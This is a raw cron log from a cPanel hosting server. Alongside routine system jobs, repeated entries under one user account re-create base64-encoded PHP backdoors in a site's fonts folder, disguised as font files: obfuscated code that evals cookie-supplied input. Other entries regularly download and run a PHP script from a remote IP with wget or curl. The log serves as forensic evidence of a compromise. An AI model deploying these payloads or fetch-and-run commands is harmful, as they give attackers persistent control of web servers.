Aug 30 16:31:01 ip-184-168-122-23 CROND[9839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:31:01 ip-184-168-122-23 CROND[9840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 16:32:01 ip-184-168-122-23 CROND[9933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:32:01 ip-184-168-122-23 CROND[9936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:32:01 ip-184-168-122-23 CROND[9935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:32:01 ip-184-168-122-23 CROND[9938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:32:01 ip-184-168-122-23 CROND[9937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:33:01 ip-184-168-122-23 CROND[10068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:33:01 ip-184-168-122-23 CROND[10067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:33:01 ip-184-168-122-23 CROND[10069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:33:01 ip-184-168-122-23 CROND[10070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:34:01 ip-184-168-122-23 CROND[10226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:34:01 ip-184-168-122-23 CROND[10230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:34:01 ip-184-168-122-23 CROND[10231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:34:01 ip-184-168-122-23 CROND[10228]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:34:01 ip-184-168-122-23 CROND[10229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:35:01 ip-184-168-122-23 CROND[10321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:35:01 ip-184-168-122-23 CROND[10324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:35:01 ip-184-168-122-23 CROND[10328]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:35:01 ip-184-168-122-23 CROND[10327]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 16:35:01 ip-184-168-122-23 CROND[10326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:35:01 ip-184-168-122-23 CROND[10329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:35:01 ip-184-168-122-23 CROND[10325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:35:01 ip-184-168-122-23 CROND[10323]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 16:36:01 ip-184-168-122-23 CROND[10420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:36:01 ip-184-168-122-23 CROND[10422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:36:01 ip-184-168-122-23 CROND[10423]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:36:01 ip-184-168-122-23 CROND[10425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:36:01 ip-184-168-122-23 CROND[10424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:37:01 ip-184-168-122-23 CROND[10511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:37:01 ip-184-168-122-23 CROND[10512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:37:01 ip-184-168-122-23 CROND[10515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:37:01 ip-184-168-122-23 CROND[10517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:38:01 ip-184-168-122-23 CROND[10594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:38:01 ip-184-168-122-23 CROND[10596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:38:01 ip-184-168-122-23 CROND[10598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:38:01 ip-184-168-122-23 CROND[10597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:38:01 ip-184-168-122-23 CROND[10599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:39:01 ip-184-168-122-23 CROND[10680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:39:01 ip-184-168-122-23 CROND[10682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:39:01 ip-184-168-122-23 CROND[10683]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 16:39:01 ip-184-168-122-23 CROND[10684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:39:01 ip-184-168-122-23 CROND[10686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:40:02 ip-184-168-122-23 CROND[10786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:40:02 ip-184-168-122-23 CROND[10785]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:40:02 ip-184-168-122-23 CROND[10791]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:40:02 ip-184-168-122-23 CROND[10793]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:40:02 ip-184-168-122-23 CROND[10794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:40:02 ip-184-168-122-23 CROND[10796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:40:02 ip-184-168-122-23 CROND[10795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:40:02 ip-184-168-122-23 CROND[10799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:41:01 ip-184-168-122-23 CROND[10995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:41:01 ip-184-168-122-23 CROND[10997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:41:01 ip-184-168-122-23 CROND[10998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:41:01 ip-184-168-122-23 CROND[10999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:42:01 ip-184-168-122-23 CROND[11084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:42:01 ip-184-168-122-23 CROND[11086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:42:01 ip-184-168-122-23 CROND[11087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:42:01 ip-184-168-122-23 CROND[11088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:42:01 ip-184-168-122-23 CROND[11089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:43:01 ip-184-168-122-23 CROND[11175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:43:01 ip-184-168-122-23 CROND[11176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
